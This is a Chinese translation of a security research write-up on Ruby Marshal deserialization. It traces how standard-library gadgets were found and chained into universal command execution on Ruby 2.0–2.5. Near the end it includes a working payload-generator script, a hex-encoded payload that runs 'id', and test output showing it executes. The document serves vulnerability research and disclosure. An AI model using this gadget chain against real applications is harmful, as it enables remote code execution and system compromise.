导语:本文主要讲解Ruby编程语言任意反序列化的漏洞利用,同时发布了一个公共通用的工具链,从而实现Ruby 2.x的任意命令执行。
概述
本文主要讲解Ruby编程语言任意反序列化的漏洞利用,同时发布了一个公共通用的工具链,从而实现Ruby 2.x的任意命令执行。首先将详细说明Ruby语言中存在的反序列化问题,然后讲解Gadget链的发现过程,最后描述漏洞利用的方式。
背景
序列化是将对象转换为一系列字节的过程,随后就可以将其通过网络传输,或者是存储在文件系统或数据库中。这些字节中包含重建原始对象所需的所有相关信息。而这种重建的过程,就被称为反序列化。每种编程语言都有其独特的序列化格式,也有一些编程语言不将这一过程称为序列化和反序列化。在Ruby中,该过程通常被称为编组(Marshalling)和解组(Unmarshalling)。
Marshal类中包含类方法“dump”和“load”,其使用方式如下:
$ irb >> class Person >> attr_accessor :name >> end => nil >> p = Person.new => #<Person:0x00005584ba9af490> >> p.name = "Luke Jahnke" => "Luke Jahnke" >> p => #<Person:0x00005584ba9af490 @name="Luke Jahnke"> >> Marshal.dump(p) => "\x04\bo:\vPerson\x06:\[email protected]\"\x10Luke Jahnke\x06:\x06ET" >> Marshal.load("\x04\bo:\vPerson\x06:\[email protected]\"\x10Luke Jahnke\x06:\x06ET") => #<Person:0x00005584ba995dd8 @name="Luke Jahnke">
不受信任数据反序列化问题
尽管序列化对象是以不透明的二进制格式进行传输,但如果开发人员错误的认为攻击者无法查看或篡改序列化对象,就会出现常见的安全漏洞。这样一来,就可能导致存储在对象内的任何敏感信息(例如凭据、应用程序密钥)被泄露给攻击者。如果序列化对象中包含随后用于权限检查的实例变量,那么攻击者可能会利用这一漏洞实现权限提升。例如,有一个包含用户名实例变量的User对象,该对象经过序列化后,可能被攻击者篡改。攻击者可以轻而易举地修改序列化数据,并将username变量更改为较高权限用户的用户名,例如admin。尽管这些攻击方式非常强大,但它们具有高度上下文敏感性,并且从技术角度来看可能不会引起注意,所以我们在本文中不对其展开讨论。
此外,代码重用攻击也有可能发生,我们可以通过执行一些已知的可用代码(被称为Gadget),从而实现诸如任意命令执行这样的操作。由于反序列化可以将实例变量设置为任意值,因此攻击者可以控制Gadget去操纵某些数据。这样一来,也允许攻击者使用Gadget来调用第二个Gadget,因为存在方法能够调用存储在实例变量中的对象。当一系列Gadget以这种方式连接在一起时,就被称为一个Gadget链。
此前已有的Payload
不安全的反序列化是2017年OWASP十大最严重Web应用程序安全风险的第8名,但是,目前关于为Ruby构建Gadget链的技术细节还非常有限。我们可以在Phrack的文章《Attacking Ruby on Rails Applications》中得到非常多的参考,其中Phenoelit的joernchen在2.1节中描述了Charlie Somerville发现的Gadget链,它实现了任意代码执行。为简洁起见,我们不再详述该技术,只提出其先决条件如下:
1、必须安装并加载ActiveSupport gem;
2、必须加载标准库中的ERB(默认情况下,Ruby不会加载);
3、反序列化后,必须在反序列化对象上调用不存在的方法。
尽管这些先决条件会在绝大多数Ruby on Rails Web应用程序的上下文中实现,但实际上其他Ruby应用程序很少能够实现这些先决条件。
因此,我们不再使用这个Payload,试图跳脱出这些先决条件,寻找仍然可以实现任意代码执行的方法。
寻找Gadget
由于我们希望制造一个没有依赖关系的Gadget,因此Gadget只能从标准库中获取。需要注意的是,并非所有的标准库都会被默认加载,这也极大地限制了我们拥有的Gadget数量。举例来说,我们在测试的Ruby 2.5.3中,发现默认加载了358个类,尽管数量很多,但经过仔细观察后发现,其中有196个类没有定义任何自己的实例方法。这些空类中的大多数都是Exception类的唯一命名子类,用于区分可以捕获到的异常。
只拥有有限数量的可用类,我们就能更加轻松的找到用于增加已加载标准库数量的Gadget或技术。其中的一种技术就是,当使用require调用另一个库时,寻找相应的Gadget。这个过程非常有用,因为即使require在某个模块和(或)类的范围内,它实际上也会污染全局命名空间。
调用require(lib/rubygems.rb)的方法示例:
module Gem ... def self.deflate(data) require 'zlib' Zlib::Deflate.deflate data end ... End
如果上面的Gem.deflate方法包含在Gadget链中,那么就会加载Ruby标准库中的Zlib库,如下所示。
被污染的全局命名空间示例:
$ irb >> Zlib NameError: uninitialized constant Zlib ... >> Gem.deflate("") => "x\x9C\x03\x00\x00\x00\x00\x01" >> Zlib => Zlib
尽管标准库中存在大量动态加载标准库其他部分的情况,但如果已经在系统上安装了第三方库,那么就会发现有一个实例正在尝试加载第三方库。
标准库SortedSet加载第三方RBTree库(lib/set.rb):
... class SortedSet < Set ... class << self ... def setup ... require 'rbtree'
在请求未安装的库(包括其他库目录)时,将会对众多位置进行搜索。当Ruby尝试在没有安装RBTree的默认系统上加载RBTree时,来自strace的输出内容如下:
$ strace -f ruby -e 'require "set"; SortedSet.setup' |& grep -i rbtree | nl 1 [pid 32] openat(AT_FDCWD, "/usr/share/rubygems-integration/all/gems/did_you_mean-1.2.0/lib/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory) 2 [pid 32] openat(AT_FDCWD, "/usr/local/lib/site_ruby/2.5.0/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory) 3 [pid 32] openat(AT_FDCWD, "/usr/local/lib/x86_64-linux-gnu/site_ruby/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory) ... 129 [pid 32] stat("/var/lib/gems/2.5.0/gems/strscan-1.0.0/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 130 [pid 32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory) 131 [pid 32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.rb", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory) 132 [pid 32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.so", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory) 133 [pid 32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 134 [pid 32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.rb", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 135 [pid 32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 136 [pid 32] stat("/var/lib/gems/2.5.0/gems/webrick-1.4.2/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) ...
其中,有一个更加有用的Gadget,可以将攻击者控制的参数传递给require。这一Gadget可以在文件系统上加载任意文件,从而可以使用标准库中的任何Gadget,包括Charlie Somerville链中使用的ERB。尽管没有识别出来允许完全控制require参数的Gadget,但我们可以在下面看到允许部分控制的Gadget示例:
module Digest def self.const_missing(name) # :nodoc: case name when :SHA256, :SHA384, :SHA512 lib = 'digest/sha2.so' else lib = File.join('digest', name.to_s.downcase) end begin require lib ...
上面的示例无法使用,因为const_missing从未被标准库中的任何Ruby代码显式调用。这并不奇怪,因为const_missing是一个挂钩(Hook)方法,其定义是会在引用未定义的常量时调用它。那么诸如@object.__send__(@method, @argument)的一个Gadget,允许使用任意参数调用任意对象的任意方法,显然也允许调用上面的const_missing方法。既然我们已经拥有了如此强大的Gadget,那么就不再需要扩充Gadget集,因为它已经可以单独执行任意系统命令。
const_missing方法也可以作为调用const_get的结果来被调用。文件lib/rubygems/package.rb定义的Gem::Package类中的digest方法是一个合适的Gadget,因为它在Digest模块上调用const_get,并能够控制参数。但是,const_get的默认实现中会对字符集进行严格验证,以防止在digest目录之外发生遍历。
另一种调用const_missing的方法是使用Digest::SOME_CONSTANT等代码隐式调用。但是,Marshal.load不会以调用const_missing的方式来执行常量解析。关于这一内容,可以在Ruby的#3511和#12731问题中找到更多解释。
另一个Gadget也提供了对传递给require参数的部分控制,使用参数调用[]方法将会导致该参数包含在require参数中(lib/rubygems/command_manager.rb),具体如下所示:
class Gem::CommandManager def [](command_name) command_name = command_name.intern return nil if @commands[command_name].nil? @commands[command_name] ||= load_and_instantiate(command_name) end private def load_and_instantiate(command_name) command_name = command_name.to_s ... require "rubygems/commands/#{command_name}_command" ... end end ...
上面的示例并没有实际使用,原因在于“_command”后缀,以及并没有能够识别允许阶段的技术(即使用空字节)。实际上,存在许多带有“_command”后缀的文件,但我们没有对这些文件进行进一步探索,因为我们发现有另外一种技术,可以增加可用的Gadget。
如下所示,Rubygem库中广泛使用了autoload方法:
module Gem ... autoload :BundlerVersionFinder, 'rubygems/bundler_version_finder' autoload :ConfigFile, 'rubygems/config_file' autoload :Dependency, 'rubygems/dependency' autoload :DependencyList, 'rubygems/dependency_list' autoload :DependencyResolver, 'rubygems/resolver' autoload :Installer, 'rubygems/installer' autoload :Licenses, 'rubygems/util/licenses' autoload :PathSupport, 'rubygems/path_support' autoload :Platform, 'rubygems/platform' autoload :RequestSet, 'rubygems/request_set' autoload :Requirement, 'rubygems/requirement' autoload :Resolver, 'rubygems/resolver' autoload :Source, 'rubygems/source' autoload :SourceList, 'rubygems/source_list' autoload :SpecFetcher, 'rubygems/spec_fetcher' autoload :Specification, 'rubygems/specification' autoload :Util, 'rubygems/util' autoload :Version, 'rubygems/version' ... end
autoload的工作方式与require类似,但只在第一次访问注册的常量后才会加载指定文件。由于这一特点,如果反序列化Payload中包含任何这些常量,都会加载相应的文件。这些文件本身还包含require和autoload语句,进一步增加了可以提供的Gadget的数量。
尽管在Ruby 3.0版本中,autoload将会被删去,但随着Ruby 2.5的发布,标准库中autoload的使用频率有所增加。在这个git提交中,引用了使用autoload的新代码,其代码片段如下:
require 'uri/common' autoload :IPSocket, 'socket' autoload :IPAddr, 'ipaddr' module URI ...
为了探索标准库中的这组可用的Gadget,我们使用以下代码,加载使用autoload注册的每个文件:
ObjectSpace.each_object do |clazz| if clazz.respond_to? :const_get Symbol.all_symbols.each do |sym| begin clazz.const_get(sym) rescue NameError rescue LoadError end end end end
在运行了上面的代码之后,我们针对可用于提供Gadget类的数量进行了新的统计,最终发现了959个已经加载的类,比此前的统计结果增加了658个。在其中,有511个类已经定义了至少一个实例方法。加载这些附加类的能力,为搜索这些有用的Gadget提供了有利条件。
初始化Gadget并启动
每个Gadget链的最开始,都有一个Gadget,它将在反序列化期间或反序列化之后自动调用。这是执行更多Gadget的初始入口点,其最终目标是实现任意代码执行,或发动其他攻击。
理想的初始Gadget是在反序列化期间由Marshal.load自动调用的Gadget。这样一来,就消除了反序列化后执行代码的任何机会,从而确保不被防御机制发现。我们认为,在反序列化期间可能会自动调用Gadget,因为这是其他编程语言(例如PHP)中的一项功能。在PHP中,如果一个类具有定义的__wakeup方法,那么在对该类型的对象进行反序列化的过程中,将会立即进行调用。阅读相关的Ruby文档,我们会发现,如果一个类定义了一个marshal_load实例方法,那么在对该类的一个对象进行反序列化时,就会调用该方法。
掌握了上述内容后,我们可以检查每个加载的类,查看它们是否具有marshal_load实例方法。我们编写了一个Ruby脚本来实现:
ObjectSpace.each_object(::Class) do |obj| all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods if all_methods.include? :marshal_load method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s puts obj puts " marshal_load defined by #{method_origin}" puts " ancestors = #{obj.ancestors}" puts end end
其他使用到的Gadget
在研究期间,我们发现了许多Gadget,但最终的链上只使用了其中的一小部分。为了简洁起见,我们总结了一些有趣的内容:
结合调用缓存方法的Gadget链,实现任意代码执行(lib/rubygems/source/git.rb):
class Gem::Source::Git < Gem::Source ... def cache # :nodoc: ... system @git, 'clone', '--quiet', '--bare', '--no-hardlinks', @repository, repo_cache_dir ... end ...
使to_i返回除预期的Integer对象之外的其他内容(lib/ipaddr.rb):
class IPAddr ... def to_i return @addr end ...
生成一个小型Gadget链,使反序列化进入无限循环:
module Gem class List attr_accessor :value, :tail end end $x = Gem::List.new $x.value = :@elttam $x.tail = $x class SimpleDelegator def marshal_dump [ :__v2__, $x, [], nil ] end end ace = SimpleDelegator.new(nil) puts Marshal.dump(ace).inspect
构建Gadget链
要构建Gadget链,第一步是需要构建待选marshal_load初始Gadget池,并确保它们能够调用我们提供的对象的方法。由于在Ruby中“一切都是对象”,所以其中很可能包含每一个初始Gadget。我们对实现进行逐一检查,并保证其中所有调用都设置为我们控制的对象的公共方法名称,从而减少这个池的大小。理想情况下,常用的方法名称应该有很多种不同的实现可供选择。
对于我的Gadget链,我选择了Gem::Requirement类,其实现如下所示,并且具有在任意对象上调用每个方法的能力:
class Gem::Requirement # 1) we have complete control over array def marshal_load(array) # 2) so we can set @requirements to an object of our choosing @requirements = array[0] fix_syck_default_key_in_requirements end # 3) this method is invoked by marshal_load def fix_syck_default_key_in_requirements Gem.load_yaml # 4) we can call .each on any object @requirements.each do |r| if r[0].kind_of? Gem::SyckDefaultKey r[0] = "=" end end end end
现在,已经能够调用每一个方法,还需要对每个方法进行有效实现,从而让我们更加接近命令执行。在查看了Gem::DependencyList(和mixin Tsort)的源代码后,发现调用它的每个实例方法都会导致在它的@specs实例变量上调用sort方法。我们没有发现sort方法调用所需的准确路径,但可以使用以下命令验证其行为,该命令使用Ruby中的stdlib Tracer类输出源级别(Source Level)的执行跟踪:
$ ruby -rtracer -e 'dl=Gem::DependencyList.new; dl.instance_variable_set(:@specs,[nil,nil]); dl.each{}' |& fgrep '@specs.sort' #0:/usr/share/rubygems/rubygems/dependency_list.rb:218:Gem::DependencyList:-: specs = @specs.sort.reverse
利用这种在任意对象数组上调用sort方法的新功能,我们可以在任意对象上调用<=>方法(运算符)。这非常有用,因为Gem::Source::SpecificFile有一个<=>方法的实现,在调用时可以导致在其@spec实例变量上调用name方法,如下所示:
class Gem::Source::SpecificFile < Gem::Source def <=> other case other when Gem::Source::SpecificFile then return nil if @spec.name != other.spec.name # [1] @spec.version <=> other.spec.version else super end end end
我们最后要解决的问题,是在任意对象上调用name方法。因为Gem::StubSpecification上有一个name方法,它会调用其data方法,然后data方法再负责调用open方法,实质上是Kernel.open,它的实例变量@loaded_from将作为第一个参数,如下所示:
class Gem::BasicSpecification attr_writer :base_dir # :nodoc: attr_writer :extension_dir # :nodoc: attr_writer :ignored # :nodoc: attr_accessor :loaded_from attr_writer :full_gem_path # :nodoc: ... end class Gem::StubSpecification < Gem::BasicSpecification def name data.name end private def data unless @data begin saved_lineno = $. # TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open. open loaded_from, OPEN_MODE do |file| ...
当第一个参数的第一个字符是“|”时,Kernel.open可用于执行任意命令。
生成Payload
我们编写了以下脚本,用于生成和测试之前描述的Gadget链:
#!/usr/bin/env ruby class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2") puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload)
以下单行Bash代码,验证Payload是否已经针对空Ruby进程成功执行。经过尝试,发现2.0-2.5版本受到漏洞的影响:
$ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root)
结论
本文研究并发布了一个通用的Gadget链,用于在Ruby 2.0-2.5版本中实现命令执行。
正如本文所说明的那样,Ruby标准库的复杂知识,在构建反序列化Gadget链的过程中非常有用。在之后,有相当多的后续研究可以进行,包括尝试如何在1.8和1.9版本也实现任意命令执行,以及覆盖使用命令行参数–disable-all调用Ruby进程的实例。此外,也可以尝试用JRuby和Rubinius等替代Ruby来实现。
我们已经对Fuzzing Ruby C扩展和使用AFL-Fuzz攻破Ruby的重组(Unmarshal)进行了一些研究,之后将会对其进行更深入的分析,包括人工代码审计。以下展示了marshal_load方法的本地代码实现(使用C):
complex.c: rb_define_private_method(compat, "marshal_load", nucomp_marshal_load, 1); iseq.c: rb_define_private_method(rb_cISeq, "marshal_load", iseqw_marshal_load, 1); random.c: rb_define_private_method(rb_cRandom, "marshal_load", random_load, 1); rational.c: rb_define_private_method(compat, "marshal_load", nurat_marshal_load, 1); time.c: rb_define_private_method(rb_cTime, "marshal_load", time_mload, 1); ext/date/date_core.c: rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1); ext/socket/raddrinfo.c: rb_define_method(rb_cAddrinfo, "marshal_load", addrinfo_mload, 1);
感谢大家的阅读!